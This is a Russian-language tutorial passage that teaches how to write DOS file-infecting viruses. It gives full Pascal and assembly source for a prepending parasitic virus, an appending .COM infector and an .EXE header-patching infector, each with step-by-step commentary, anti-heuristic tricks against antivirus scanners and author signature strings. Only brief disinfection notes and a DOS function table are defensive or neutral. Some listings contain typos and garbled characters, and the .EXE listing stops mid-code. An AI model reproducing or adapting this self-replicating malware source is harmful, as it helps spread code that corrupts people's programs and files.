                st:=d[i];
                delete(st,length(st)-3,4);
                st:=st+'.tmp';
                assign(f,d[i]);
                reset(f);
                read(f,exehead);
                if (exehead<>'M') and (filesize(f)+virlen<=65535)
                then begin      {если файл уже заражен, то к следующему}
                        fsize:=filesize(f);
                        close(f);
                        infect(d[i]tst,false,fsize);            {перепишем оригинальную}
                                                                {программу в *.tmp файл}
                        infect(paramstr(0),d[i],false,virlen);  {запишем тело вируса}
                                                                {в файл-носитель}
                        infect(st,d[i],true,fsize);             {допишем из *.tmp файла ориг.}
                                                                {программу после тела вируса}
                        assign(f,st);
                        erase(f);                               {удалим временный файл}
                end;
        end;

        assign(f,paramstr(0));
        reset(f);
        if filesize(f)>virlen   {проверим, если мы стартовали из зараженной программы, то}
        then restore;           {запустим оригинальную программу}
        write(chr(13),chr(10), '[SiMpL3 PaRaSiTiC ViRuS] by s10n');     {выведем сообщение}
end. {конец}
{---------------------------------------------}
 

Опишем работу этого вируса более подробно.

Данный вирус состоит из трех процедур и главной программы. Рассмотрим процедуры в порядке очередности.

  1. Процедура find() (подробно описана в предыдущих главах).
  2. Процедуру infect() следует рассмотреть более пристально.

    Данная процедура в качестве параметров получает:

    • имя файла, откуда копируем;
    • имя файла, куда копируем;
    • логический параметр (append), говорящий о том, дописываем ли мы в файл или переписываем файл с самого начала;
    • количество переписываемых байт.

    Необходимость в этих параметрах будет обсуждена несколько позднее.

  3. Процедура restore, как уже ясно из названия, запускает программу, на которой паразитирует вирус.

    Рассмотрим принцип ее работы:

    • эта процедура никаких параметров не получает;
    • сначала создается файл с именем «31337.com» и открывается на запись;
    • затем открывается файл на чтение, из которого мы стартовали, и идет переход на оригинальную программу, которая следует сразу за вирусом (seek(d,virlen));
    • после этого программа из зараженного файла копируется в файл «31337.com» (получается, что в этом файле находится незараженная программа);
    • в конце она запускается («31337.com») и после завершения работы удаляется;
    • в переменную fsize помещается размер заражаемого файла;
    • после этого при помощи процедуры infect() найденный файл копируется в *.tmp двойник, а в сам файл копируется вирус, после этого в файл дописывается содержание *.tmp файла;
    • затем файл-двойник удаляется.

Теперь рассмотрим, как все эти процедуры работают, связанные вместе главным алгоритмом:

Далее будет представлен аналог данного вируса на Ассемблере, но, как и приведенные выше вирусы, он не будет действовать по абсолютно идентичному алгоритму. Алгоритм его работы следующий.

  1. Проверим, стартуем ли мы из оригинального вируса или из зараженной программы.
  2. Если из зараженной программы, то скопируем программу, находящуюся после вируса, в файл 31337.com и запустим его. После завершения работы удалим его.
  3. Найдем *.com файл в текущей директории и считаем его в буфер. Если он не заражен или если его длина + длина вируса < 64000, то считаем его в буфер и в этот файл (носитель) запишем тело вируса + тело программы.
  4. Найдем следующий файл и заразим его.
  5. Если файлов больше нет, выведем сообщение и уйдем.

Следует рассмотреть, как выглядит файл до инфицирования и после:

  1. до инфицирования:
    Программа
  2. после инфицирования:
    Вирус->Программа

Вот листинг:

;----------------------------------------------
cseg segment
        assume cs:cseg,es:cseg
        org 100h
start:
infect:
;----------------------------------------------
        mov     ax,3d02h        ; Попытаемся открыть файл для восстановления программы
        lea     dx,dta+30       ; Описание этого файла должно находиться в вирусе, если он
        int     21h             ; запущен из инфицированной программы; его не будет, если
                                ; он стартует из файла, где только тело вируса
        jc      nrest           ; Если в файле только тело вируса, то не восстанавливаем
;----------------------------------------------
next1:
        xchg    ах,bx         ; Хэндл файла положим в bx
        mov     ax,4200h        ; Перейдем на конец тела вируса
        xor     cx, cx 
        mov     dx,len 
        int     21h    

        mov     ah,3fh 
        mov     cx,offset dta+26-len
        lea     dx,buff         ; Прочитаем в буфер оригинальный файл
        int     21h

        mov     ah,3eh          ; Закроем файл (т. е. себя)
        int     21h    

        mov     ah,3ch          ; Создадим файл с именем 31337.com
        lea     dx,name2       
        xor     cx, cx
        int     21h

        mov     ah,40h
       
        int     1h              ; Антиэвристика: антивирусы теперь нам не страшны

        mov     cx,offset dta+26-len
        lea     dx,buff         ; Запишем из буфера оригинальную программу в этот файл
        int     21h             ; 31337.com

        mov     ah,3eh          ; Закроем файл
        int     21h

        mov     ah,4ah          ; Выделим память
        mov     bx,5000h        ; для запуска этого файла
        int     21h
       
        mov     ax,4b00h        ; Запустим его (31337.com)
        lea     dx,name2        ;
        int     21h
       
        mov     ah,41h          ; После того, как он отработает.
        lea     dx,name2        ; Удалим его
        xor     cx,cx
        int     21h
;----------------------------------------------
nrest:
        mov     ah,1ah          ; Установим DTA
        lea     dx,dta          ;
        int     21h

        mov     ah,4eh          ; Найдем функцией findfirst
        lea     ax,mask1        ; *.com файл
        xor     cx,cx
        int     21h

fnext:
;----------------------------------------------
        mov     ax,3d02h        ; Откроем его на чтение/запись
        lea     dx,dta+30       ;
        int     21h

        xchg    ax,bx           ; Хэндл положим в bx

        mov     ah,3fh          ; Прочитаем первый байт
        lea     dx,m1           ; Из файла
        mov     cx,1
        int     21h

        cmp     m1,08bh         ; Если этот байт равен 8bh, то этот файл заражен. Перейдем
        je      fn              ; к следующему
        cmp     m1,'M'          ;
        je      fn              ; Если это *.ехе, переименованный в *.com
        cmp     m1,'Z'          ; то не заражаем
        je      fn              ;

        mov     ax,4202h        ; Если попали сюда, начинаем заражать
        xor     cx,cx           ; Перейдем в конец файла
        cwd
        int     21h

        push    ax              ; В ax сейчас длина файла, положим ее в стек дважды
        push    ax              ; дважды

        add     ax,len          ; Если длина вируса + длина файла <= 64000 байт, то
        cmp     ax,64000        ; если нет, то перейдем к следующему файлу
        jle     fn              ;

        mov     ah,3eh          ; Закроем найденный файл
        int     21h

        mov     ax,3d02h        ; Откроем его же на чтение/запись
        lea     dx,dta+30
        int     21h

        mov     ah,3fh          ; Прочитаем весь файл в буфер
        lea     dx,buff
        pop     cx
        int     21h

        mov     ax,4200h        ; Перейдем на начало файла
        xor     cx,cx
        cwd
        int     21h
;----------------------------------------------
        mov     ah,40h          ; Будем записывать

        int     1h              ; Антиэвристика

        mov     dx,100h         ; Запишем в найденный файл тело вируса + буфер
        pop     cx              ; Получится, что в файле идет сначала вирус, затем
        add     cx,len          ; оригинальная программа
        int     21h             ;

        mov     ah,3eh          ; Закроем файл
        int     21h
       
fn:     mov     ah,4fh          ; Найдем новый файл функцией findnext
        int     21h
        jnc     fnext           ; Если есть еще файлы, то заразим их

        mov     ah,09h          ; Что, файлов больше нет?
        lea     dx,msg          ; Тогда представимся
        int     21h             ;

        ret                     ; И уйдем

        m1      db      ?      
        name2   db      '31337.com',0
        mask1   db      '*.com',0       ; Это все данные
        msg     db      0ah,0dh, '[SiMpL3 P4R4SiTiC ViRUS] by slOn','$'
        dta     db      43 dup(?)
        len     equ     $-start
        buff    db      64000 dup(?)
cseg ends
end start
;----------------------------------------------
 

Перейдем к более подробному анализу данного вируса.

Вот первый блок:

        mov     ax,3d02h        ; Попытаемся открыть файл для восстановления программы
        lea     dx,dta+30       ; Описание этого файла должно находиться в вирусе, если он
        int     21h             ; запущен из инфицированной программы; его не будет, если
                                ; он стартует из файла, где только тело вируса
        jc      nrest           ; Если в файле только тело вируса, то не восстанавливаем
 

Из комментариев все ясно, но необходимо заметить, что этот блок проверяет, стартуем ли мы из инфицированной программы или наша программа — это чистый вирус7 (путем открытия файла).

Второй блок:

        xchg    ах,bx         ; Хэндл файла положим в bx
        mov     ax,4200h        ; Перейдем на конец тела вируса
        xor     cx, cx 
        mov     dx,len 
        int     21h

        mov     ah,3fh 
        mov     cx,offset dta+26-len
        lea     dx,buff         ; Прочитаем в буфер оригинальный файл
        int     21h

        mov     ah,3eh          ; Закроем файл (т. е. себя)
        int     21h    

        mov     ah,3ch          ; Создадим файл с именем 31337.com
        lea     dx,name2       
        xor     cx, cx
        int     21h

        mov     ah,40h
       
        int     1h              ; Антиэвристика: антивирусы теперь нам не страшны

        mov     cx,offset dta+26-len
        lea     dx,buff         ; Запишем из буфера оригинальную программу в этот файл
        int     21h             ; 31337.com

        mov     ah,3eh          ; Закроем файл
        int     21h

        mov     ah,4ah          ; Выделим память
        mov     bx,5000h        ; для запуска этого файла
        int     21h
       
        mov     ax,4b00h        ; Запустим его (31337.com)
        lea     dx,name2        ;
        int     21h
       
        mov     ah,41h          ; После того, как он отработает.
        lea     dx,name2        ; Удалим его

        xor     cx,cx
        int     21h
 

В данном блоке сначала идет переход на конец тела вируса, т. е. туда, где начинается оригинальная программа. Затем оригинальная программа читается в буфер и файл, из которого мы стартовали, закрывается. Затем создается файл с именем «31337.com». Туда же переписывается оригинальная программа. Файл закрывается и после этого запускается, а по завершении работы удаляется.

Будем рассматривать только незнакомые нам моменты.

Первый — это переход на конец тела вируса:

        mov     ax,4200h        ; Перейдем на конец тела вируса
        xor     cx, cx 
        mov     dx,len 
        int     21h    
 

В контексте программы данные инструкции устанавливают указатель в файле от начала вируса вперед — на его длину.

Второй момент — это удаление файла:

        mov     ah,41h          ; После того, как он отработает.
        lea     dx,name2        ; Удалим его
        xor     cx,cx
        int     21h
 

Стоить отметить, что в регистр dx помещается имя удаляемого файла в формате asciiz, т. е. строка символов, заканчивающаяся нулевым байтом.

Второй блок:

nrest:
        mov     ah,1ah          ; Установим DTA
        lea     dx,dta          ;
        int     21h

        mov     ah,4eh          ; Найдем функцией findfirst
        lea     ax,mask1        ; *.com файл
        xor     cx,cx
        int     21h

fnext:
;----------------------------------------------
        mov     ax,3d02h        ; Откроем его на чтение/запись
        lea     dx,dta+30       ;
        int     21h

        xchg    ax,bx           ; Хэндл положим в bx

        mov     ah,3fh          ; Прочитаем первый байт
        lea     dx,m1           ; Из файла

        mov     cx,1
        int     21h

        cmp     m1,'e'          ; Если этот байт равен 8bh, то этот файл заражен. Перейдем
        je      fn              ; к следующему
        cmp     m1,'M'          ;
        je      fn              ; Если это *.ехе, переименованный в *.com
        cmp     m1,'Z'          ; то не заражаем
        je      fn              ;
 

В данном блоке сначала устанавливаем DTA, затем ищем файл по маске, открываем его на чтение/запись и читаем из него первый байт. Это для того, чтобы проверить, пытаемся ли мы заразить уже инфицированный файл или мы не заражали *.exe.

Проверка на *.ехе довольно тривиальна: каждый файл данного формата начинается с «MZ». Вот мы и проверяем, чтобы первая буква была не «М».

Теперь третий блок:

        mov     ax,4202h        ; Если попали сюда, начинаем заражать
        xor     cx,cx           ; Перейдем в конец файла
        cwd
        int     21h

        push    ax              ; В ax сейчас длина файла, положим ее в стек дважды
        push    ax              ; дважды

        add     ax,len          ; Если длина вируса + длина файла <= 64000 байт, то
        cmp     ax,64000        ; если нет, то перейдем к следующему файлу
        jle     fn              ;

        mov     ah,3eh          ; Закроем найденный файл
        int     21h

        mov     ax,3d02h        ; Откроем его же на чтение/запись
        lea     dx,dta+30
        int     21h

        mov     ah,3fh          ; Прочитаем весь файл в буфер
        lea     dx,buff
        pop     cx
        int     21h

        mov     ax,4200h        ; Перейдем на начало файла
        xor     cx,cx
        cwd
        int     21h
 

Сначала идет переход на конец файла. Это делается для получения размера файла. В итоге он будет в регистре ах. Два раза длина ложится в стек, затем идет проверка на то, чтобы файл после заражения не стал длиннее одного сегмента (65535 байт). После этого файл закрывается. Затем открываем его на чтение, считываем в буфер и переходим в конец файла.

Четвертый (последний) блок:

        mov     ah,40h          ; Будем записывать

        int     1h              ; Антиэвристика

        mov     dx,100h         ; Запишем в найденный файл тело вируса + буфер
        pop     cx              ; Получится, что в файле идет сначала вирус, затем
        add     cx,len          ; оригинальная программа
        int     21h             ;

        mov     ah,3eh          ; Закроем файл
        int     21h
       
fn:     mov     ah,4fh          ; Найдем новый файл функцией findnext
        int     21h
        jnc     fnext           ; Если есть еще файлы, то заразим их

        mov     ah,09h          ; Что, файлов больше нет?
        lea     dx,msg          ; Тогда представимся
        int     21h             ;

        ret                     ; И уйдем
 

В этом блоке в найденный файл переписывается тело вируса + буфер (в который мы прочитали этот файл). Затем файл закрывается, и идет поиск следующего. Если файлов нет, то выводим сообщение и завершаем исполнение программы.

Для лечения данного вируса прежде всего необходимо определить местонахождение заголовка оригинальной программы. После этого всего лишь следует удалить тело вируса, которое расположено до заголовка оригинальной программы. Заголовок можно определить, если проанализировать зараженную программу.

Выше был рассмотрен простейший вариант вирусов-паразитов. Далее будут рассмотрены самые распространенные способы размножения вирусов. Но прежде чем продолжим, мы должны разобраться с необходимыми функциями DOS.

Рассмотрим следующую таблицу:

Установить адрес DTA
вход:
	ah	= 1Ah
	ds:dx	= адрес
выход:
	нет
Получить адрес DTA
вход:
	ah	= 2Fh
выход:
	es:bx	= текущий адрес
Create — Создать файл
вход:
	ah	= 3Ch
	cx	= атрибуты файла (таб 1)
	ds:dx	= путь и имя файла в формате asciz

выход:
  if CF=0 then
	ax	= дескриптор файла
  else
	ax	= код ошибки (3,4,5) (таб 2)
Open — Открыть существующий файл
вход:
	ah	= 3Dh
	al	= режим доступа (таб 2)
	сх	= атрибуты
	ds:dx	= имя
выход:
  if CF=0 then
	ах	= дескриптор файла
  else
	ах	= код ошибки (1,2,3,4,5,0C)
Close — Закрыть файл
вход:
	ah	= 3Eh
	bx	= дескриптор
	ds:dx	= имя
выход:
  if CF=0 then
	ax	=
  else
	ax	= код ошибки (6)
Read — Чтение из файла
вход:
	ah	= 3Fh
	bx	= дескриптор
	cx	= число байт
	ds:dx	= буфер для чтения
выход:
  if CF=0 then
	ах	= число прочитанных байт
		Это значение может быть меньше CX,
		например, потому, что длина файла превышена.
  else
	ах	= код ошибки (5,6)
Write — Записать в файл
вход:
	ah	= 40h
	bx	= дескриптор
	cx	= число байт
	ds:dx	= данные для записи
выход:
  if CF=0 then
	ах	= число записанных байт
  else
	ах	= код ошибки (5,6)

Unlink — Удалить файл
вход:
	ah	= 41h
	cx	= атрибуты
	ds:dx	= имя
выход:
  if CF=0 then
	ax	=
  else
	ax	= код ошибки (2,3,5)
LSeek — Установить указатель в файле
вход:
	ah	= 42h
	al	= точка отсчета указателя:
		0 - от начала файла
		1 - от текущего положения
		2 - от конца
	bx	= дескриптор
	cx:dx	= смещение (сх=старшие 16 бит, dx=млaдшиe)
выход:
  if CF=0 then
	dх:ах	= новое положение указателя относительно начала
  else
	ах	= код ошибки (1,6)
Получить атрибуты файла
вход:
	ах	= 4300h
	ds:dx	= имя
выход:
  if CF=0 then
	cx	= атрибуты
  else
	ax	= код ошибки (1,2,3,5)
Chmod — Установить атрибуты файла
вход:
	ах	= 4301h
	сх	= новые атрибуты
	ds:dx	= имя
выход:
  if CF=0 then
	ах	=
  else
	ах	= код ошибки (1,2,3,5)
Выделить блок памяти
вход:
	ah	= 48h
	bx	= размер блока в параграфах
выход:
  if CF=0 then

	ax	= сегмент блока
  else
	ах	= код ошибки (7,8)
	bx	= размер наибольшего доступного блока
Освободить память
вход:
	ah	= 49h
	es	= сегмент блока
выход:
  if CF=0 then
	ах	=
  else
	ах	= код ошибки (7,9)
Изменить размер блока памяти
вход:
	ah	= 4Ah
	bx	= новый размер
	es	= сегмент
выход:
  if CF=0 then
	ах	=
  else
	ax	= код ошибки (7,8,9)
	bx	= размер наибольшего доступного блока
Exec — загрузить или выполнить программу
вход:
	ah	= 4Bh
	al	= тип загрузки:
		0 - загрузить и выполнить
		1 - загрузить и не выполнять
		3 - загрузить оверлей
		4 - загрузить и выполнить в фоновом режиме (dos 4.0)
	es:bx	= блок параметров (таб. 3)
	ds:dx	= имя программы
выход:
  if CF=0 then
	bx,dx разрушены
  else
	ax	= код ошибки (1,2,5,8,OA,OB)
FindFirst — найти первый файл
вход:
	ah	= 4Eh
	cx	= маска атрибутов
	ds:dx	= маска имени (может содержать путь, * и ?)
выход:
  if CF=0 then
	[DTA]	- найденный файл (табл. 4)
  else
	ах	= код ошибки (2,3,12h)

FindNext — найти следующий файл
вход:
	ah	= 4Fh
	[DTA]	= структура от предыдущего вызова (не изменять!)
выход:
  if CF=0 then
	[DTA]	- следующий файл
  else
	ах	= код ошибки (12п)
Получить дату и время файла
вход:
	ах	= 5700h
	bx	= дескриптор файла
выход:
  if CF=0 then
	cx	= время (как в табл. 4)
	dx	= дата
  else
	ах	= код ошибки (1,6)
Установить дату и время файла
вход:
	ах	= 5701h
	bx	= дескриптор файла
	сх	= время (как в табл. 4)
	dx	= дата
выход:
  if CF=0 then
  else
	ax	= код ошибки (1,6)

Таблица 1. Атрибуты файлов

БитЗначение
0ReadOnly
1Hidden
2System
3VolumeLabel
4Directory
5Archive
6not used
7not used
8Shared (only Netware)

Таблица 2. Коды ошибок

1Неверный номер функции
2Файл не найден
3Путь не найден
4Слишком много открытых файлов
5Доступ запрещен
6Недопустимый дескриптор
7Разрушен блок управления памятью
8Недостаточно памяти
9Недопустимый адрес блока памяти
АОшибка окружения
ВНедопустимый формат
11Не то же устройство
12Больше нет файлов

Таблица 3. Блок параметров Exec

OffsetSize
00word. Сегмент окружения, копируемый для дочернего процесса. Если 0, то сегмент вызывающей программы
02dword. Указатель на командную строку к программе. Первый байт командной строки — ее длина
06dword. Указатель на первый FCB
0Adword. Указатель на второй FCB
dword. (для al=1) будет содержать начальный ss:sp программы
12dword. (для al=1) будет содержать точку входа cs:ip

Таблица 4. Структура DTA для поиска файлов

OffsetSize
0015h. Зарезервиировано
15hbyte. Атрибуты файла
16hword. Времы файла. Биты: 11—15 — час; 5—10 — минута; 0—4 — секунды/2
18hword. Дата файла. Биты: 9—15 — год — 1980; 5—8 — месяц; 0—4 — день
1Ahdword. Размер файла
1Eh0Dh. Имя + расширение в формате asciiz

Теперь можно переходить к более сложным вирусам...

3.1. Простейшие *.COM вирусы

В дальнейшем повествование будет сопровождаться исходными текстами на языке Ассемблера, так как реализация аналогичных вирусов на языке Паскаль очень трудоемка.

Самым распространенным методом размножения *.com вирусов является запоминание первых нескольких байт программы и замена их на переход на вирусное тело. После этого вирус восстанавливает оригинальные байты и выполняет свои функции (размножение...), и в конце концов он восстанавливает оригинальные байты и передает на них управление.

Программа с этого момента выполняется так, как и должна была. Но весь секрет в том, что эти байты после восстановления не сохраняются, это не запись в файл это восстановление «на лету» — в памяти. Поэтому при последующем запуске программы управление первым получает опять вирус, ну и т. д.

Следует рассмотреть, как выглядит файл до инфицирования и после:

  1. до инфицирования:
    Программа
  2. после инфицирования:
    JMP+Программа+Вирус

Рассмотрим листинг:

.model tiny
.code
org 100h
start:          db      0e9h,00h,00h            ; Переход на начало вируса (st_vir)
st_vir:         call    $+3
f_offset:       pop     bp
                int     1h                      ; Антиэвристика
                sub     bp, OFFSET f_offset     ; Считаем смещение,
                                                ; с которого начинается вирусный
                                                ; код

                lea     si,[bp+orig_bytes]      ; Восстанавливаем оригинальные 3 байта
                mov     di,100h                 ; Положим в стэк переход на
                push    di                      ; начало, программы
                movsw
                movsb

                lea     dx,[bp+new_dta]         ; Установим DTA
                mov     ah,1ah

                int     21h
               
                mov     ah,09h                  ; Выведем сообщение
                lea     dx,[bp+msg]
                int     21h

                mov     ah,4eh                  ; DOS-функция findfirst

                lea     dx,[bp+file_m]          ; Ищем *.com файл (любой)
                xor     cx,cx                   ;
f_next:         int     21h                     ;
                jc      exit                    ; если ошибка или файлы кончились,
                                                ; то на выход
                mov     ax,3d00h                ; Откроем найденный файл на чтение
                lea     dx,[bp+new_dta+30]      ;
                int     21h                     ;
                xchg    ax,bx                   ; положим хэндл в bx
       
                mov     ah,3fh                  ; Прочитаем из файла
                lea     dx,[bp+orig_bytes]      ; оригинальный заголовок,
                mov     cx,3                    ; а если быть более точным, то 3 байта
                int     21h                     ;

                cmp     word ptr[bp+orig_bytes],'MZ'    ; Если это *.ехе переименованный
                je      close                           ; в *.com, то переходим к следующему
                cmp     word ptr[bp+orig_bytes],'ZM'    ; файлу
                je      close                           ;

                mov     ах,word ptr [bp+new_dta+26]   ; Положим размер файла в ах
                mov     cx,word ptr [bp+orig_bytes+1]   ;
                add     cx,end_vir-st_vir+3     ; Добавим размер вируса
                cmp     ax,cx                   ; Если длины совпадают, то файл
                jnz     infect                  ; заражен, если нет - сейчас заразим
close:          mov     ah,3eh                  ; Закрываем файл
                int     21h                     ;
                mov     ah,4fh                  ; и ищем новый
                jmp     short f_next            ;

exit:           mov     dx,80h                  ; Восстанавливаем старый DTA
                mov     ah,1ah
                int     21h
                retn                            ; Переходим на начало программы
                                                ; 100h было ведь в стэке
                mov     ax,word ptr [bp+new_dta+26]     ; Положим размер файла в ах
                sub     ax,3                            ; отнимем 3 и получим смещение для
                mov     word ptr [bp+jmp_offset],ax     ; перехода на тело вируса

                mov     ah,3eh                  ;
                int     21h                     ; Закроем файл

                mov     ax,3d02h                ; Откроем на чтение/запись
                int     21h                     ;
                xchg    ax,bx                   ; Положим хэндл в bx

                mov     ah,40h                  ; Запишем в файл

                int     1h                      ; Антиэвристика
                mov     cx,3                    ; 3 байта
                lea     dx,[bp+header]          ; это переход на тело вируса, которое
                int     21h                     ; будет дописано к файлу
                                                ; Перейдем на конец файла
                mov     ax,4202h
                xor     cx,cx
                xor     dx,dx
                int     21h

                mov     ah,40h                  ; Допишем тело вируса
                int     1h                      ; Антиэвристика
                mov     cx,end_vir-st_vir       ;
                lea     dx,[bp+st_vir]          ;
                int     21h                     ;

                mov     ah,3eh                  ; Закроем файл
                int     21h                     ;
                jmp     exit                    ; и передадим управление оригинальной
                                                ; программе
                                                ; Сообщение
msg             db      "[Par4s1tic ChuM4 v 1.0 by sl0n]",0ah,0dh,"$"
file_m          db      '*.com',0               ; маска файла для поиска
orig_bytes      db      0cdh,20h,0              ; байты оригинального заголовка
header          db      0e9h                    ; переход на вирус
end_vir         equ     $                       ; символ конца вируса
jmp_offset      dw      ?                       ; переменная для смещения на вирус
new_dta         db      43 dup(?)               ; массив для DTA
end start
;----------------------------------------------
 

Данный вирус достаточно прост и хорошо комментирован, так что мы рассмотрим только важные моменты.

  1. Дельта-смещение нужно для того, чтобы мы могли обращаться к своим данным в чужой программе:
    st_vir:         call    $+3
    f_offset:       pop     bp
                    int     1h                      ; Антиэвристика
                    sub     bp, OFFSET f_offset     ; Считаем смещение,
                                                    ; с которого начинается вирусный
                                                    ; код
     

    После этого мы можем обращаться к данным следующим образом: [bp+data].

  2. Проверка на инфицированность (чтобы повторно не заражать):
                    mov     ах,word ptr [bp+new_dta+26]   ; Положим размер файла в ах
                    mov     cx,word ptr [bp+orig_bytes+1]   ;
                    add     cx,end_vir-st_vir+3     ; Добавим размер вируса
                    cmp     ax,cx                   ; Если длины совпадают, то файл
                    jnz     infect                  ; заражен, если нет - сейчас заразим
     

    В первой строчке в регистр ax ложится размер найденного файла, который хранится в new_dta по смещению 26.

    В orig_bytes в зараженной программе должно быть что-то вроде 0e9h хх хх.

    Во второй строке 2 и 3 байты из заголовка кладутся в cx.

    Первый байт означает инструкцию jmp, а остальные два — смещение, куда переходить. Так как этот вирус дописывается к концу, то хх хх будут указывать на конец файла (т. е. это размер незараженного файла).

    В третьей строчке к размеру оригинального файла добавляется размер вируса плюс сохраненные 3 байта заголовка оригинального файла.

    Из этих вычислений становится ясно, что если файл инфицирован, то ax и cx совпадут. Именно из этих соображений в начале вируса присутствуют такие строки:

                    db      0e9h,00h,00h            ; Переход на начало вируса (st_vir)
     

    Они необходимы, чтобы вирус сам себя не заражал.

  3. Теперь взглянем, как вычисляется переход на тело вируса:
                    mov     ax,word ptr [bp+new_dta+26]     ; Положим размер файла в ах
                    sub     ax,3                            ; отнимем 3 и получим смещение для
                    mov     word ptr [bp+jmp_offset],ax     ; перехода на тело вируса
     

    Здесь же приходится отнимать 3 байта из-за размера самого jmp хх хх, который при расчете учитываться не должен.

  4. В начале для восстановления первых трех байт используются цепочечные команды, выделенные восклицательными знаками:
                    lea     si,[bp+orig_bytes]      ; Восстанавливаем оригинальные 3 байта
                    mov     di,100h                 ; Положим в стэк переход на
                    push    di                      ; начало, программы
                    movsw                           ; !!!
                    movsb                           ; !!!
     

Ну вот, с этим вирусом разобрались.

Для лечения данного вида вирусов уже используется более сложный алгоритм, рассмотрим его:

  1. обнаружить зараженную программу;
  2. определить, в каком месте данный вирус хранит оригинальные байты программы;
  3. заменить вирусные байты в начале программы оригинальными;
  4. удалить хвост вируса в конце программы (этого в принципе уже можно и делать).

3.2. Простейшие *.ЕХЕ вирусы

Самый распространенный способ заражения .exe файлов: мы дописываем ему в конец тело своего вируса и корректируем заголовок (сохранив прежде его оригинальную версию) так, чтобы при запуске управление получал вирус (совсем как в *.com, но вместо перехода в коде мы корректируем сам адрес точки запуска программы).

При старте зараженного файла управление получит вирус. После всех операций вирус берет из сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его сегментной компоненте значение регистра DS или ES (полученного при старте вируса) и передает управление на полученный адрес.

Рассмотрим структуру ЕХЕ заголовка:

Метка ЕХЕ файла (ZM или MZ)+0000hРазмер 1 WORD
Длина последнего блока*+0002hРазмер 1 WORD
Длина файла в блоках по 512 байт*+0004hРазмер 1 WORD
Количество элементов таблицы настройки адресов+0006hРазмер 1 WORD
Размер заголовка в параграфах+0008hРазмер 1 WORD
Минимальный объем памяти+000AhРазмер 1 WORD
Максимальный объем памяти+000ChРазмер 1 WORD
Начальный SS*+000EhРазмер 1 WORD
Начальный SP*+0010hРазмер 1 WORD
Контрольная сумма+0012hРазмер 1 WORD
Начальный IP*+0014hРазмер 1 WORD
Начальный CS*+0016hРазмер 1 WORD
Адрес первого элемента ТНА+0018hРазмер 1 WORD
Номер сегмента перекрытия+001AhРазмер 1 WORD
Зарезервировано / Не используется+001ChРазмер 1 DWORD?
 Общий размер : ПЕРЕМЕННЫЙ!

Переходим к простейшему *.exe вирусу.

Следует рассмотреть как выглядит файл до инфицирования и после:

  1. до инфицирования:
    Оригинальный EXE заголовок+Программа
  2. после инфицирования:
    Измененный вирусом заголовок+Программа+Вирус

Рассмотрим листинг:

.model tiny                                     ; Модель памяти
.code                                           ; Сегмент кода
org 100h                                        ; начинаем работу со 100h
id = 'NF'                                       ; метка, по которой определяется
                                                ; инфицирован ли файл
startvirus:                                     ; начало вирусного кода
        call    next                            ; пересчитаем смещение
next:   pop     bp                              ;
        int     1h                              ; антиэвристика
        sub     bp,offset next                  ;

        cmp     sp,id                           ; если файл не инфицирован, то
        jne     restore_done                    ; и восстанавливать не надо.

restore_exe:
        push    ds
        push    es
        push    cs                              ; DS = CS
        pop     ds
        push    cs                              ; ES = CS
        pop     es
        lea     si,[bp+jmpsave]
        lea     di,[bp+jmpsave2]
        movsw
        movsw
        movsw
        movsw

restore_done:
        mov     ah,1Ah                          ; Установим новый DTA
        lea     dx,[bp+newDTA]                  ; DTA @ DS:DX
        int     21h
SEARCH:
        lea     dx,[bp+EXE_MASK]                ; Установим в регистр dx маску *.exe
        call    FINDFIRST                       ; Вызовем процедуру поиска
QUIT:
        mov     ah,1ah                          ;
        mov     dx,80h                          ; Восстановим оригинальный DTA
        cmp     sp,ID-4                         ; Если *.ехе файл
        jz      QUIT_EXE                        ; то выход из *.ехе файла
QUIT_COM:
        int     21h                             ; Иначе выходим из *.com файла
        retn
quit_exe:
        pop     es
        pop     ds                              ; DS->PSP
        int     21h
        mov     ax,es                           ; АХ = PSP сегмент
        add     ax,16                           ; для восстановления PSP
        add     word ptr cs:[bp+jmpsave2+2],ax
        add     ax,word ptr cs:[bp+stacksave+2]
        cli                                     ; Запретим прерывания

        mov     sp,word ptr cs:[bp+stacksave]
        mov     ss,ax
        sti
                db      0eah                    ; опкод команды jmp
jmpsave2        dd      ?                       ; оригинальный CS:IP
stacksave       dd      ?                       ; Оригинальный SS:SP
jmpsave         dd      ?                       ; Необходим для файла-носителя
stacksave2      dd      ?
creator         db      '[sl0n]'
end_search:
        retn
;----------------------------------------------
findfirst:
        mov     ah,4eh                          ; DOS функция Findfirst
        xor     cx,cx                           ; любой атрибут
findfirstnext
        int     21h                             ; DS:DX указывает на маску
        jc      end_search                      ; если больше файлов нет, то на выход

        call    open                            ; Открываем на чтение

        mov     ah,3fh                          ; Прочитаем из файла в буфер
        lea     dx,[bp+buffer]                  ; @ DS:DX
        mov     cx,1Ah                          ; 26 байт
        int     21h

        mov     ah,3eh                          ; После чтения закрываем файл
        int     21h
checkEXE:                                      
        cmp     word ptr [bp+buffer+10h],id     ; Если файл не заражен, то заражаем его
        jnz     infect_exe
find_next:
        mov     ah,4fh                          ; Иначе ищем новую жертву
        jmp     short findfirstnext
infect_exe:                                    
        les     ax, dword ptr [bp+buffer+14h]   ; Сохраним старую точку входа
        mov     word ptr [bp+jmpsave], ax
        mov     word ptr [bp+jmpsave+2], es
                                       
        les     ax, dword ptr [bp+buffer+0Eh]   ; Сохраним старый стэк
        mov     word ptr [bp+stacksave2], es
        mov     word ptr [bp+stacksave2+2], ax
                                       
        mov     ax, word ptr [bp+buffer+8]      ; Возьмем размер ехе заголовка
        mov     cl, 4                           ; переведем его в байты
        shl     ax, cl
        xchg    ax, bx
                                       
        les     ax, [bp+offset newDTA+26]       ; Положим размер файла в DX:AX
        mov     dx, es
        push    ax
        push    dx

        sub     ax, bx                          ; Отнимем размер заголовка от
        sbb     dx, 0                           ; размера файла

        mov     cx, 10h                         ; Переведем в форму
        div     cx                              ; сегмент:смещение

        mov     word ptr [bp+buffer+14h], dx    ; Новая точка входа
        mov     word ptr [bp+buffer+16h], ax
        mov     word ptr [bp+buffer+0Eh], ax    ; И стэк
        mov     word ptr [bp+buffer+10h], id

        pop     dx                              ; Возьмем длину файла
        pop     ax

        add     ax, heap-startvirus             ; И длину вирусного тела
        adc     dx, 0  

        mov     cl, 9                           ; 2**9 = 512
        push    ax
        shr     ax, cl 
        ror     dx, cl 
        stc
        adc     dx, ax                          ; Размер файла в страницах
        pop     ax
        and     ah, 1                           ; 512 байтных

        mov     word ptr [bp+buffer+4], dx      ; Новый размер файла
        mov     word ptr [bp+buffer+2], ax

        push    cs                              ; Восстановим ES
        pop     es

        mov     cx, 1ah

finishinfection:
        push    cx                              ; сохраним в стэке 1ah

        call    open

